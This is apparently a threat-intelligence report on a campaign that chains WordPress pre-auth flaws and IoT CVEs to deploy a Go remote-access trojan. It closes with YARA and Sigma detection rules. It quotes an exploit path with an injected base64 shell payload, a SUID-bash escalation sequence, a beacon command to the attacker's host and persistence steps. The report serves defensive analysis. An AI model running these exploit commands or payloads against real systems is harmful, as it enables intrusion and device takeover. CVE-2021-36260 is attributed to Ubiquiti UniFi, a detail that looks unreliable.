wp2shell — Cross-Platform RAT Deployment via Zero-Credential WordPress Exploit

CVE-2026-63030 + CVE-2026-60137 · Pre-auth WordPress Core RCE chain used as initial access to deploy Agent-TCP, a cross-platform Go RAT, across Windows & Linux — combined with mass IoT compromise across 14 CPU architectures, fileless execution via MemfdCreate, and DLL injection on Windows

00. Key Findings

KEY FINDINGS — BINARY ANALYSIS + LIVE CAMPAIGN (2026-07-22)
GO RAT — 14 ARCHITECTURES
Fileless + Post-Quantum Agent
Unpacked binary analysis reveals unix.MemfdCreate for in-memory Linux execution (zero disk artifact). Windows variant uses LoadLibraryEx + GetProcAddress for DLL injection. TLS stack includes MLKEM (post-quantum) and ECH. Primary cipher: ChaCha20Poly1305 AEAD. Build path: D:/BIN_Research/Knowledge/Defense-Evasion/go-agent-tcp.
PRE-AUTH WORDPRESS RCE
6-Step Zero-Credential Chain
Batch /v1 route-confusion desync → UNION/blind SQLi → oEmbed cache poisoning → customize_changeset pivot → POST /wp/v2/users admin creation (pre-auth) → plugin webshell. Affects WP 6.9.0–7.0.1. Admin account and webshell auto-deleted post-session.
CONFIRMED ROOT COMPROMISES
Automated Mass Deployment
Two deployment runs against multiple Ubiquiti UniFi targets via CVE-2021-36260. Confirmed root on majority. Four-method persistence (systemd, crontab, init.d, profile). Agent disguised as .uniFi-core, cache-mgr, syslog-ng, dbusd. Deploy scripts written in Mandarin Chinese.
JUNIPER SRX320 STRING
Firewall / Enterprise Targeting
Unpacked Linux binary contains: falling back to SRX320 raw exec: %q#!/bin/sh — an explicit Juniper SRX320 firewall fallback execution path. This extends targeting beyond IoT into enterprise network infrastructure, adding a significant threat escalation vector not evident from scripts alone.
IFEO ABUSE + ARGV SPOOFING
Three-Layer Process Masquerading
Windows: disguiseIFEO writes own path as Debugger value under Image File Execution Options\ — hijacks legitimate process launches. Linux: prctl PR_SET_NAME + separate spoofArgv defeat both ps and /proc/self/status simultaneously. daemonize forks to background, detaches from terminal. No EDR-visible artifacts.
SOCKS5 PROXY + CONPTY SHELL
Full Network Pivoting Capability
Confirmed handlers: handleProxyStart/Stop + handleSOCKS5 — the agent acts as a full SOCKS5 proxy for operator lateral movement. Windows PE implements CreatePseudoConsole (ConPTY) for interactive terminal sessions with proper resize. libp2p peer ID persisted at ~/.p2p/peer_id indicates P2P C2 channel in development.
167+IoT Compromised
14CPU Architectures
4CVEs Exploited
3Victim Regions
6Persist Methods
2OS Platforms
Open directory listing — staging server
Open directory — staging server (:80). Agent binaries, stager script, and operator tooling left exposed without authentication.

01. Executive Overview

During continuous monitoring operations, an attacker-controlled open directory on a staging server was discovered — left browsable without authentication. The repository exposed a complete unified attack platform active since July 10, 2026: a WordPress exploitation toolkit leveraging a pre-authentication SQL injection in WordPress core, and a large-scale IoT botnet targeting Ubiquiti, D-Link, and Totolink devices. The open directory is the source of recovered artifacts, not the primary C2; agent communications route independently to v9g6.my:443.

Both attack vectors — WordPress exploitation and IoT compromise — are part of a single campaign and deliver the same payload: Agent-TCP, a cross-platform Go RAT compiled for 14 CPU architectures. Unpacked binary analysis reveals capabilities well beyond what the deployment scripts suggest — including in-memory fileless execution via Linux MemfdCreate, Windows DLL injection, post-quantum TLS (MLKEM), and an explicit Juniper SRX320 firewall execution fallback. The operator's development machine path leaked through the binary (see §05 Build Metadata).

Note: Full source code, deployment logs, target lists, and operator scripts were recovered from the open directory without authentication.

Operator scripts contain Mandarin Chinese comments (批量部署, 架构映射, 持久化, 提权到 root). A dedicated target list focused on Chunghwa Telecom's network was recovered, along with a separate HNAP reconnaissance directory. A LoongArch64 binary variant is included in the payload set. No attribution to any specific threat actor is made.

02. Infrastructure Architecture

The infrastructure separates three distinct roles across two servers. The staging server — its open directory was the source of all recovered artifacts — separates artifact delivery from C2. Deployed agents do not report back here for tasking; they connect independently to v9g6.my:443. The :8443 port only receives lightweight heartbeat pings from shell-persistence scripts, not full RAT sessions.

EndpointRoleKey Files / Function
[staging-server]:80Staging / Artifact Distributionagent_linux_*, agent_windows_amd64.exe, wp2shell_stager.sh — open directory (no auth)
[staging-server]:8443Deploy Scripts + Heartbeat Receiverdbusd_*, stager.sh, dropper.sh, persist.sh — /beacon endpoint (shell-only pings)
v9g6.my → 202.61.136.40RAT C2 (primary — agent comms)Full TCP/TLS control channel · ChaCha20Poly1305 · tasking, exec, upload, SOCKS5
43.161.245.209Secondary C2 — Under InvestigationMultiple associated domains — potential infrastructure overlap with this campaign
wp2shell Stager — source code
wp2shell Stager — post-exploit shell script recovered from the open directory. Architecture detection, multi-method download, 4-method persistence installation.
C2 ACK — host PC-KGE5382 connecting to v9g6.my:8443
C2 ACK — compromised host PC-KGE5382 checking in to v9g6.my:8443. Server returns PL=22 RID=4000 confirming active beacon session.

Infrastructure Topology

[staging-server] :80 — payload server :8443 — beacon / deploy v9g6.my 202.61.136.40 : 443 RAT C2 · ChaCha20Poly1305 TLS 1.3 + ECH + MLKEM :8443/beacon ?host=&arch=&id= heartbeat every 10 min Agent-TCP Linux ELF · Windows PE · 14 archs UPX 4.22 · Go 1.26.4 · MemfdCreate WordPress 6.9–7.0.1 wp2shell pre-auth SQLi /wp-json/batch/v1 Ubiquiti UniFi CVE-2021-36260 unauthenticated root RCE D-Link / Totolink CVE-2026-34908 / CVE-2026-1547 HNAP / UPnP · dbusd masquerade wp2shell exploit + stager download CVE-2021-36260 CVE stagers download arch-specific binary TLS 1.3 · C2 control beacon :8443 exploit path agent download C2 channel (TLS 1.3) heartbeat (dim)

Exploitation Surface

CVE / VulnerabilityTargetAccess Path
CVE-2026-63030WordPress 6.9.0–7.0.1 Coreserve_batch_request_v1() route-confusion desync → unauthenticated /wp-json/batch/v1 SQLi (UNION/blind/error)
CVE-2026-60137WordPress 6.9.0–7.0.1 CorePOST /wp/v2/users authz bypass via desync'd handler → zero-credential administrator creation
CVE-2021-36260Ubiquiti UniFi Network App/api/auth/validate-sso/..%2f..%2fproxy/…/latest_package?pkg_name=<b64>&by_cmd=true
CVE-2026-34908D-Link HNAP / UPnPstager.sh — HNAP post-exploit → dbusd_* dropper
CVE-2026-1547Totolink routersinstall.sh — mips/arm arch, cron + rc.local persist
DIR-850L HNAPD-Link DIR-850Ldropper.sh → busybox-mipsel + telnetd -p 9999
SRX320 (binary)Juniper SRX320 firewallEmbedded fallback path in agent binary — raw exec via shell

03. WordPress Pre-Auth RCE — wp2shell (CVE-2026-63030 + CVE-2026-60137)

The wp2shell toolkit chains two WordPress Core CVEs to achieve zero-credential remote code execution. CVE-2026-63030 is a route-confusion desync in serve_batch_request_v1(): the function builds two parallel arrays ($matches and $validation) indexed by the same offset. A sub-request failing wp_parse_url() is appended to $validation but not to $matches, causing array desync — a subsequent request is dispatched under the wrong (unauthenticated) handler, enabling UNION/blind/error-based SQLi via the oEmbed cache and a customize_changeset pivot. CVE-2026-60137 is an authorization bypass in POST /wp/v2/users that allows the same desync'd unauthenticated request to create a WordPress administrator — no credentials required at any step. Affected: WordPress 6.9.0–7.0.1. Fixed: 7.0.2 / 6.9.5.

Six-Step Exploitation Chain

01
Route-Confusion SQLi
Batch desync places a GET /wp/v2/posts/999999 request under get_items(). author_exclude parameter maps to WP_Query author__not_in, which is interpolated into SQL — UNION/error/blind extraction all available.
02
oEmbed Cache Poisoning
UNION-forged fake wp_posts rows cause WordPress to render [embed] shortcodes, creating real oembed_cache database entries for attacker-controlled URLs. IDs recovered via SQLi.
03
customize_changeset Pivot
Seven poisoned UNION rows forge a graph: customize_changesetnav_menu_itemrequest post types, using recovered oEmbed cache IDs as parent pointers. A single batch request triggers the chain.
04
Pre-Auth Admin Creation
POST /wp/v2/users creates a wp2_<nonce> administrator with email @wp2shell.invalid, exercised through the same route-confusion dispatch — zero credentials required.
05
Plugin Webshell Upload
Authenticated as the generated admin, a random-path plugin webshell is uploaded. Path and per-run token are randomized. WordPress's plugin upload mechanism handles delivery.
06
Stager Execution + Cleanup
wp2shell_stager.sh runs via webshell: detects arch (uname -m), downloads matching agent from the staging server, establishes persistence. Webshell and admin account auto-deleted.

Exploitation Flow — wp2shell

PHASE → RECON + DESYNC EXTRACT POISON DB PRIVILEGE DELIVER EXECUTE 01 Route-Confusion batch/v1 desync → get_items() no auth needed 02 SQL Injection author_exclude UNION / blind EXTRACTVALUE 03 oEmbed Poison changeset chain 7 forged rows nav_menu_item 04 Pre-Auth Admin wp2_<nonce> @wp2shell.invalid 0 credentials 05 Plugin Webshell random path random token auto-deleted 06 RCE + Stager arch detection 6-method persist Agent-TCP ▲ Affected: WordPress 6.9.0 – 7.0.1 Fixed: 7.0.2 / 6.9.5 (update to latest) SQLi: UNION (1 req/value) · EXTRACTVALUE error-based · X-WP-Total blind binary search Trigger: POST /wp-json/batch/v1 · No cookies, no nonce, no authentication

SQLi extraction methods: UNION (1 req/value, reflects via ||HEX(value)|| in post_title); Error-based EXTRACTVALUE (~15 bytes/req, requires WP_DEBUG); Blind binary search (~8 req/char, X-WP-Total oracle). Tool auto-selects. None of the read methods write database rows.

Post-Compromise Stager

# wp2shell_stager.sh — persistence summary
VPS="http://[redacted]:80"
AGENT_PATH="/tmp/.cache-mgr"   # dot-prefix hidden

# Multi-fallback download: curl → wget → python3
# Architecture mapping: x86_64/aarch64/armv5/armv7/mips*/ppc64*

# Root persistence (6 concurrent methods):
1. crontab @reboot + */30 /etc/crontab
2. /etc/rc.local or /etc/rc.d/rc.local
3. systemd: /etc/systemd/system/cache-mgr.service (Restart=always, 30s)
4. /etc/init.d/cache-mgr
5. /etc/profile, /etc/bashrc, /etc/bash.bashrc injection
6. /etc/crontab direct write

# User persistence (www-data / non-root):
~/.bashrc, ~/.profile, ~/.bash_profile injection
crontab @reboot (user-level)
/etc/cron.d/cache-mgr if writable

04. IoT Botnet — CVE-2021-36260 + Multi-Vector

The IoT deployment pipeline uses batch_deploy.py and batch_deploy_full.py to automate mass compromise of Ubiquiti UniFi devices. The exploit path leverages CVE-2021-36260: a path traversal in the SSO validate endpoint combined with command injection via pkg_name, allowing unauthenticated root RCE on the UniFi controller.

Exploit Path — CVE-2021-36260

# batch_deploy.py — exploit path (from unpacked binary correlation)
BYPATH = "/api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package"

# Payload delivery — base64-encoded shell command:
b64 = base64.b64encode(cmd.encode()).decode()
payload = f">/dev/null 2>&1 || true ; echo {b64} | base64 -d | sh ;"
path = f"{BYPATH}?pkg_name={quote(payload)}&by_cmd=true"

# Unauthenticated GET to HTTPS:443 → root RCE
# Timing oracle for blind verification: sleep {N}s delay → elapsed > N-0.5

Privilege Escalation + Deployment

# Escalation via passwordless sudo (observed in deploy logs)
sudo -n chmod 4755 /bin/bash   # SUID bash
bash -p -c '<command>'         # execute as root
sudo -n chmod 0755 /bin/bash   # restore (cover tracks)

# Agent masquerade on UniFi devices:
AGENT_PATH = "/usr/local/bin/.uniFi-core"   # hidden, mimics legitimate binary
SVC_NAME   = "uniFi-core"                   # systemd service impersonation

# Heartbeat — every 10 minutes via cron:
wget -qO /dev/null "http://[redacted]:8443/beacon?host=$(hostname)&arch=$(uname -m)&id=..."

Agent Architecture Coverage

BinaryArchitecturePrimary Targets
agent_linux_amd64x86-64UniFi on x86 servers, general Linux
agent_linux_arm64AArch64UniFi Dream Machine, UDM-Pro, Dream Router, UDR
agent_linux_arm5/7ARMv5/v7Older routers, embedded Linux
agent_linux_mips/mipsleMIPS BE/LED-Link, TP-Link, Netgear legacy
agent_linux_mips64/64leMIPS64Enterprise networking equipment
agent_linux_ppc64/ppc64lePowerPC 64IBM embedded, older enterprise
agent_linux_riscv64RISC-V 64Emerging embedded Linux platforms
agent_linux_loong64LoongArch 64PRC-manufactured hardware (Loongson CPUs)
agent_windows_amd64.exex86-64 PEWindows servers and workstations
dbusd_mipsbe/mipsleMIPSD-Link, consumer routers (dbus masquerade)
dbusd_arm/aarch64ARM/AArch64ARM IoT devices (DIR-868L, etc.)
dbusd_x86_64x86-64x86 IoT, normal C2 port
dbusd_x86_64_443x86-64x86 IoT variant, port 443 C2

05. Agent-TCP Binary Analysis — Unpacked

Both agent binaries (agent_linux_amd64 unpacked: 6.57 MB; agent_windows_amd64.exe unpacked: 6.81 MB) were analyzed post-UPX decompression. Build flags -ldflags="-s -w" strip symbols, but Go module metadata, type strings, and internal package paths survive in the binary. The following capabilities were extracted directly from string analysis of the unpacked binaries.

Architectural note — agent vs. exploit chain: Agent-TCP is a post-exploitation C2 agent, not a scanner or exploiter. It contains no built-in port scanning, CVE exploit code, or credential spraying. Initial access (WordPress REST API abuse, IoT CVEs) is performed by separate scripts recovered from the open directory staging server. Once deployed, the agent receives operator commands over v9g6.my:443 — any further scanning or lateral movement is executed remotely by the operator via handleExec / handleMemExec (fileless payload staging) and handleSOCKS5 (network pivoting), not by autonomous agent logic.

Build Metadata

FieldValueSignificance
Module pathagentInternal module name, no public registry
Versionv0.0.0-20260703114451-ccc2d93ad4e3+dirtyCommit hash + dirty flag = active development
Go versiongo1.26.4Released ~2026, current at compile time
Build pathD:/BIN_Research/Knowledge/Defense-Evasion/go-agent-tcpOperator dev machine: Windows (D: drive), deliberately organized under "Defense-Evasion"
Internal packagesagent/internal/handler, agent/internal/protocolStructured handler and protocol layers
Linux SHA2569c285fe3a491ee6a6f872ae71d47dfe29e44a40b9e7fcba85a39a2368584333aPacked binary
Windows SHA2564ff527e0d8fc36a99a491bc69a9cabeb055a4be470e22ec3da8e8bb741be9efcPacked binary

Agent-TCP — Platform Capability Map

LINUX ELF AGENT-TCP CORE WINDOWS PE AGENT-TCP Go 1.26.4 · UPX 4.22 ccc2d93ad4e34c246...+dirty MemfdCreate fileless in-memory exec · mmap Systemd + SysV Persist Systemd svc · SysV init Self-Delete + Cleanup selfDelete · cleanArtifacts Argv + prctl Spoof spoofArgv · prctl · daemonize Juniper SRX320 Exec raw exec · #!/bin/sh fallback DLL Injection LoadLibraryEx · RemoteThread Registry Access RegOpenKeyEx · RegQueryValueEx Self-Delete selfDeleteWindows · CreateFile IFEO + ConPTY Shell disguiseIFEO · CreatePseudoConsole Token Impersonation CreateProcessAsUser · SysProcAttr ChaCha20Poly1305 · TLS 1.3 · MLKEM · HTTP/2 handleSOCKS5 · handleUpload · handleMemExec ~/.p2p/peer_id · collectInternetIP /proc/self/cgroup · container detect SOCKS5 · exec · upload · heartbeat self-destruct · file list · download

Capability Inventory — Extracted from Binary

CapabilityEvidence (Symbol / String)PlatformSeverity
In-Memory Fileless Execution unix.MemfdCreate, mmap, mremap, munmap Linux CRITICAL
DLL Injection LoadLibraryEx, GetProcAddress, loadlibrary, getprocaddress Windows CRITICAL
Juniper SRX320 Exec falling back to SRX320 raw exec: %q#!/bin/sh Linux/embedded CRITICAL
Post-Quantum TLS (MLKEM) mlkemCiphertextSize, mlkem.encryptionKey, tlsmlkem flag Both HIGH
Encrypted C2 (AEAD) chacha20poly1305.chacha20Poly1305Seal/Open, poly1305, hkdf Both CRITICAL
File Upload / Exfiltration handler.handleUpload, protocol.UploadData, protocol.UploadReqData Both CRITICAL
Self-Deletion handler.selfDeleteLinux, handler.selfDeleteWindows, os.Remove, Fchmod Both HIGH
Systemd User Persistence handler.installSystemdUserService Linux HIGH
SOCKS5 Proxy handleProxyStart, handleProxyStop, handleSOCKS5, ProxyConfig, ProxyStartReqData Both CRITICAL
ConPTY Interactive Shell (Windows) CreatePseudoConsole, ResizePseudoConsole, DisconnectNamedPipe Windows CRITICAL
IFEO Registry Hijack (Windows) disguiseIFEO, Image File Execution Options\, GetCurrentProcessPath, DisguiseProcessName Windows CRITICAL
Double Argv Spoof (Linux) prctl PR_SET_NAME, spoofArgv, DisguiseProcessNameLinux, disguiseProcess, cleanEnv Linux CRITICAL
File Download (C2 → Target) handleDownload, DownloadData, DownloadReqData, json:"gzip" Both HIGH
Directory Listing handleFileList, FileListReqData Both HIGH
Process Enumeration (Windows) Module32NextW, Thread32First, EnumProcesses Windows HIGH
Daemonize (Linux) main.daemonize — fork/setsid, detach from tty Linux HIGH
SysV Init Persistence installSysVInit (in addition to systemd) Linux HIGH
libp2p P2P Channel collectLibp2pPeerID, ~/.p2p/peer_id, \.p2p\peer_id Both HIGH
External IP Enumeration collectInternetIP — 5 geo-IP services queried in parallel goroutines Both HIGH
Host Profiling collectCPUArch/Info/Usage, collectUsername, wmicValue (WMIC queries), /sys/class/dmi/id/chassis_type Both HIGH
Container Detection /proc/self/cgroup, /proc/self/auxv, /proc/self/gid_map Linux HIGH
Ordered Cleanup cleanupPersistenceArtifacts → selfDelete (ordered, not immediate) Both HIGH
Anti-Debug (Ptrace) runtime.pTraceState, Ptrace, sleepController, sleepRatio Linux MEDIUM
HTTP/2 + HPACK C2 net/http2/hpack, AppendHuffmanString, NewDecoder/Encoder Both MEDIUM
Windows Registry Access RegOpenKeyEx, RegQueryValueEx, \\MVT, \\System Windows HIGH

MemfdCreate analysis: The Linux variant calls unix.MemfdCreate to create an anonymous in-memory file descriptor, writes payload to it, and executes it via /proc/self/fd/N — no disk write occurs. Combined with the self-delete function, successful execution leaves zero persistent artifacts on disk. Standard file-based forensics will find nothing.

Post-quantum TLS: MLKEM (Module Lattice Key Encapsulation Mechanism, formerly Kyber) is present in the TLS stack — unusual for commodity malware. The tlsmlkem build debug flag confirms this was explicitly configured, not an incidental dependency.

C2 Protocol Stack

TRANSPORT KEY EXCH ENCRYPT PAYLOAD TCP port :443 TLS 1.3 + ECH ALPN: h2 · SNI obfusc. HTTP/2 · HPACK header compression ChaCha20Poly1305 AEAD 16-byte auth token · TaskID UUID v9g6.my:443 obfs domain (CRC32) RSA Key Exchange asymmetric bootstrap HKDF Session Keys derived per-session symm. keys MLKEM768-P256 / MLKEM1024-P384 post-quantum hybrid KEM (FIPS 140) AES-GCM fallback AES-CBC/CTR · RC4 legacy PRIMARY: ChaCha20Poly1305 golang.org/x/crypto/chacha20poly1305 · AEAD · authenticated encryption FALLBACK AES-GCM · AES-CBC · AES-CTR x/crypto/aes · base64 · obfs.buildKey(CRC32) NodeOnlineData beacon 15-field JSON check-in UploadData exfil file read + base64 exec / rawExec result · ACK_FROM_SERVER SOCKS5 proxy handleProxyStart/Stop heartbeat · selfDestruct persistence · memExec · handleFileList
# Reconstructed from binary string analysis:

Transport:  TCP → TLS 1.3 (ECH enabled, MLKEM key exchange)
Framing:    HTTP/2 (HPACK header compression)
Encryption: ChaCha20Poly1305 AEAD (primary)
            AES-GCM (fallback)
Key Setup:  RSA asymmetric key exchange → HKDF derived session keys
Auth:       base64.Encoding (payload transport layer)
Recon:      json:"username,omitempty" json:"cpu_uname,omitempty"
            → structured JSON check-in with hostname, arch, CPU info

Protocol Wire Format — Reconstructed

Commands are uint16 opcodes dispatched through a map[uint16]func(*protocol.ServerRequest)*protocol.ResultReport table. Each frame is length-prefixed with a header area and encoded data body. A rotating 16-byte auth token is updated on every server ACK.

// Server → Agent command envelope (JSON over custom frame)
{
  "cmd":    uint16,        // opcode — dispatch table key
  "data":   <typed payload>, // handler-specific struct
  "taskid": string,
  "uuid":   string
}

// Server ACK format (rotates auth token):
ACK_FROM_SERVER: PL=%d RID=%d   // Payload Length + Request ID
// "token updated from server ACK" — 16-byte token rotated each ACK

// Full beacon JSON (NodeOnlineData — all fields omitempty):
{
  "computer_name":      "",
  "cpu_cores":          0,
  "cpu_info":           "",
  "cpu_uname":          "",
  "cpu_usage_percent":  0.0,
  "device_type":        "",     // DMI chassis type — VM detection
  "disk_space":         "",
  "internet_ip":        "",     // queried from 5 geo-IP services
  "intranet_ip":        "",
  "language":           "",
  "libp2p_peer_id":     "",     // ~/.p2p/peer_id or \.p2p\peer_id
  "memory_total_mb":    0,
  "memory_used_mb":     0,
  "os_version":         "",
  "timezone":           "",
  "username":           ""
}

// External IP — 5 services queried in parallel (goroutines):
http://ipinfo.io/ip  ·  http://icanhazip.com  ·  http://api.ipify.org
http://ifconfig.me/ip  ·  http://checkip.amazonaws.com

Complete Handler Dispatch Table

HandlerDescriptionProtocol StructNew?
handleExecAsync shell command executionExecReqData / ExecResultknown
handleRawExecRaw exec without shell wrapper, supports gzip payloadExecReqDataNEW
handleMemExecIn-memory fileless exec via MemfdCreate / gzipMemExecPayloadknown
handleUploadFile exfiltration: target → C2 (multipart HTTP POST)UploadData / UploadReqDataknown
handleDownloadFile delivery: C2 → target (supports gzip, replace)DownloadData / DownloadReqDataNEW
handleFileListRemote directory listingFileListReqDataNEW
handleProxyStartStart SOCKS5 proxy listenerProxyConfig / ProxyStartReqDataNEW
handleProxyStopStop SOCKS5 proxyNEW
handleSOCKS5Individual SOCKS5 connection handlerNEW
handleHeartbeatKeepalive / ping with SendPingTimeoutNEW
handlePersistenceInstall systemd user service or SysV init (Linux) / Windows Serviceknown
handleSelfDestructcleanupPersistenceArtifacts → selfDelete (ordered)known

Anti-Analysis — Advanced Techniques

Windows IFEO Abuse: disguiseIFEO writes the agent's own path as the Debugger value under SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<target_process>. When the targeted process launches, Windows invokes the "debugger" (the agent) instead — making the agent appear to be a legitimate system process from the perspective of process list, parent-child tree, and Windows Event Log. Combined with cleanEnv (environment sanitization for child processes) and HideWindow (no console), this is nearly invisible to standard host monitoring.

// Linux: three-layer process masquerade
main.disguiseProcess()
  ├── loader.DisguiseProcessNameLinux()
  │     ├── prctl(PR_SET_NAME, "fake_name")   // defeats /proc/self/status Name:
  │     └── spoofArgv(argv[0], "fake_name")  // defeats ps aux + /proc/self/cmdline
  └── main.daemonize()                        // fork → setsid → detach tty

// Windows: IFEO hijack + ConPTY interactive shell
loader.disguiseIFEO()
  └── SOFTWARE\...\Image File Execution Options\<legit.exe>
        └── Debugger = C:\...\agent_windows_amd64.exe

// Interactive shell (Windows — full terminal, not piped cmd.exe):
CreatePseudoConsole() + ResizePseudoConsole()  // ConPTY — proper terminal sizing
Module32NextW / Thread32First / EnumProcesses  // process enumeration for injection target

// String obfuscation key derivation:
obfs.buildKey(hash/crc32)  // CRC32-based key → S-box substitution (obfs.S)
                              // C2 IP/domain hidden behind this — NOT plaintext

06. Full Attack Chain

Chain A — WordPress to RAT

1
Reconnaissance — wp2shell check
Probe /wp-json/batch/v1 for route-confusion marker pattern: parse_path_failed + block_cannot_read + rest_batch_not_allowed — confirms vulnerability without SQLi payload.
2
SQL Injection — UNION / blind extraction
Extract DB version, table prefix, admin user ID, wp_posts table name. Auto-selects UNION → error-based → blind depending on target configuration.
3
oEmbed poisoning + changeset chain
Forge seven UNION wp_posts rows creating changeset → nav_menu_item → request graph. A single batch POST triggers WordPress to write real oEmbed cache entries.
4
Pre-auth admin creation
POST /wp/v2/users dispatched via route-confusion creates wp2_<nonce> administrator. No credentials. Account auto-deleted at session end.
5
Plugin webshell → stager
Webshell uploaded via plugin upload behavior. Executes wp2shell_stager.sh — arch detection, agent download from :80, 6-method persistence. Webshell deleted.
6
Agent execution → C2 beacon
/tmp/.cache-mgr runs in background, beacons to v9g6.my:443 over TLS 1.3 with ChaCha20Poly1305. MemfdCreate used if fileless execution is possible.

Chain B — IoT Mass Compromise

1
Target list ingestion
confirmed.json supplies pre-validated IP:port:arch tuples. batch_deploy_full.py operates 5 concurrent threads.
2
CVE-2021-36260 exploitation
Unauthenticated GET to UniFi SSO endpoint with path traversal + base64-encoded shell payload in pkg_name. Timing oracle confirms execution.
3
SUID bash escalation
sudo -n chmod 4755 /bin/bashbash -p -c for root execution. Permissions restored afterward.
4
Agent download + execution
Curl downloads arch-specific binary to /usr/local/bin/.uniFi-core. Launched via nohup. PID confirmed via timing oracle.
5
Four-method persistence
systemd (uniFi-core.service), crontab @reboot, init.d script, rc-update. All deployed simultaneously.
6
Heartbeat + RAT C2
10-min cron beacons to staging server beacon endpoint. Agent independently connects to v9g6.my:443 RAT C2.

07. Geographic Targeting — Observable Facts

Deployment logs recovered from the open directory confirm at least 167 compromised IoT devices. Victim devices span three countries: Taiwan (dedicated target list against Chunghwa Telecom's network), Japan (devices confirmed in deployment runs), and United States (IoT devices observed in botnet deployment logs). No geographic victim records exist for the WordPress exploitation component.

Taiwan — Dedicated Targeting Operation

A dedicated file targets_TW_chunghwa.txt recovered from the open directory contains IP addresses on Chunghwa Telecom's network (AS3462), Taiwan's primary ISP. A separate reconnaissance directory tw_recon_results/ contains device fingerprinting output specific to those targets — indicating active pre-exploitation scanning rather than passive collection. No attribution to any specific threat actor or government is made from these observations.

Observable indicators (stated as facts, not attribution): (1) Dedicated target list for AS3462 Chunghwa Telecom. (2) Active HNAP model fingerprinting with results saved to tw_recon_results/hnap_models.txt. (3) D-Link DIR-868L confirmed on unpatched 2017 firmware in those results. (4) Operator scripts written in Mandarin Chinese. (5) A LoongArch64 binary is included in the payload set alongside the standard architectures. These are direct observations from recovered files — any further inference is left to the reader.

RegionVectorTargetsCharacter
United StatesIoT CVEs — Ubiquiti, D-Link, TotolinkIoT devices confirmed in deployment logsOpportunistic — botnet node deployment
JapanIoT CVEs — Totolink, D-LinkConfirmed from deployment logsTargeted — devices observed in deployment runs
Taiwan (AS3462)IoT CVEs — D-Link, UniFi, TotolinkChunghwa Telecom hostsDeliberate — dedicated target list + recon

Taiwan Infrastructure Detail

DetailValueAssessment
ASN / ISPChunghwa Telecom, TaiwanPrimary national ISP — critical infrastructure
Target count[redacted]Dedicated list, not subset of global scan
Confirmed deviceD-Link DIR-868L FW=1.13/1.20 (2017)Unpatched ~9-year-old firmware
Recon artifactstw_recon_results/hnap_models.txtActive fingerprinting conducted
Operator languageMandarin Chinese (simplified)Observed in deploy script comments
LoongArch binaryagent_linux_loong64LoongArch64 architecture variant present in payload set

08. MITRE ATT&CK Mapping

T1190
Exploit Public-Facing Application
CVE-2026-63030 (WP SQLi), CVE-2026-60137 (WP authz bypass), CVE-2021-36260 (UniFi RCE), CVE-2026-34908 (D-Link), CVE-2026-1547 (Totolink) · CONFIRMED
T1505.003
Web Shell
WordPress plugin upload webshell, random path, auto-delete · CONFIRMED
T1059.004
Unix Shell
All stager/dropper/persist scripts · CONFIRMED
T1105
Ingress Tool Transfer
curl/wget/python3 download from staging server · CONFIRMED
T1053.003
Cron
@reboot + */10/*/30 entries across all stagers · CONFIRMED
T1543.002
Systemd Service
cache-mgr.service, uniFi-core.service, S99dbusd · CONFIRMED
T1546.004
Unix Shell Config
/etc/profile, .bashrc, .profile injection · CONFIRMED
T1036.005
Masquerade — Legit Name
.cache-mgr, .uniFi-core, syslog-ng, dbusd · CONFIRMED
T1027.002
Software Packing
UPX 4.22 on all agent binaries · CONFIRMED
T1620
Reflective Code Loading
unix.MemfdCreate fileless execution (Linux) · HIGH
T1055.001
DLL Injection
LoadLibraryEx + GetProcAddress (Windows binary) · HIGH
T1071.001
Web Protocols C2
HTTP/2 + TLS 1.3, beacon to :8443/beacon · CONFIRMED
T1573.002
Encrypted Channel — Asymmetric
ChaCha20Poly1305 AEAD + RSA key exchange · CONFIRMED
T1082
System Information Discovery
collectCPUArch/Info/Usage, uname, hostname · CONFIRMED
T1012
Query Registry
RegOpenKeyEx, RegQueryValueEx (Windows) · HIGH
T1070.004
File Deletion
selfDeleteLinux/Windows, webshell auto-delete · CONFIRMED
T1562.001
Disable/Modify Tools
SUID bash escalation (chmod 4755), restored after use · CONFIRMED
T1078.003
Local Accounts
wp2_<nonce> admin created pre-auth, auto-removed · CONFIRMED

09. Detection

YARA

rule AgentTCP_Packed {
    meta:
        description  = "Agent-TCP RAT — UPX packed binary (wp2shell campaign)"
        hash_linux   = "9c285fe3a491ee6a6f872ae71d47dfe29e44a40b9e7fcba85a39a2368584333a"
        hash_windows = "4ff527e0d8fc36a99a491bc69a9cabeb055a4be470e22ec3da8e8bb741be9efc"
    strings:
        $upx   = { 55 50 58 21 0D 0A 1A 0A }
        $build = "go-agent-tcp" ascii
    condition:
        (uint32(0) == 0x464C457F or uint16(0) == 0x5A4D) and $upx and $build
}

rule AgentTCP_Unpacked {
    meta:
        description = "Agent-TCP RAT — unpacked binary or memory scan"
    strings:
        $path   = "D:/BIN_Research/Knowledge/Defense-Evasion/go-agent-tcp" ascii
        $mlkem  = "mlkemCiphertextSize" ascii
        $memexec = "handleMemExec" ascii
    condition:
        $path or ($mlkem and $memexec)
}

rule wp2shell_Stager {
    meta:
        description = "wp2shell post-compromise stager script"
        hash        = "8d7885a574459908cd70d3718119a31a4a6c95052e3d1548feeccfffa00d4cde"
    strings:
        $tag    = "[wp2]" ascii
        $beacon = "/beacon?host=" ascii
    condition:
        $tag and $beacon
}

Sigma

title: WordPress batch/v1 Route-Confusion SQLi (CVE-2026-63030 / wp2shell)
id: 7f3a8c20-e14b-4d92-b561-9c0d3f5e7a81
status: stable
tags: [attack.initial_access, attack.t1190]
logsource: {category: webserver}
detection:
  selection:
    cs-uri-stem|contains: '/wp-json/batch/v1'
    cs-uri-query|contains: 'author_exclude'
  condition: selection
level: critical

---
title: Agent-TCP Process Masquerade (wp2shell campaign)
id: 3d8b5f92-a741-4c1e-8b03-6e2d9f0c4a57
status: stable
tags: [attack.defense_evasion, attack.t1036.005]
logsource: {category: process_creation, product: linux}
detection:
  selection:
    Image|endswith:
      - '/usr/local/bin/.cache-mgr'
      - '/usr/local/bin/.uniFi-core'
      - '/usr/local/bin/dbusd'
      - '/usr/local/bin/syslog-ng'
  condition: selection
level: high

---
title: Agent-TCP IFEO Debugger Hijack (Windows)
id: 5a1c7e83-2b94-4f60-9d12-8c3e0b5f7a24
status: stable
tags: [attack.defense_evasion, attack.t1546.012]
logsource: {category: registry_set, product: windows}
detection:
  selection:
    TargetObject|contains: '\Image File Execution Options\'
    TargetObject|endswith: '\Debugger'
    Details|contains: 'agent_windows_amd64'
  condition: selection
level: high

10. Indicators of Compromise

Network

TypeIndicatorRoleStatus
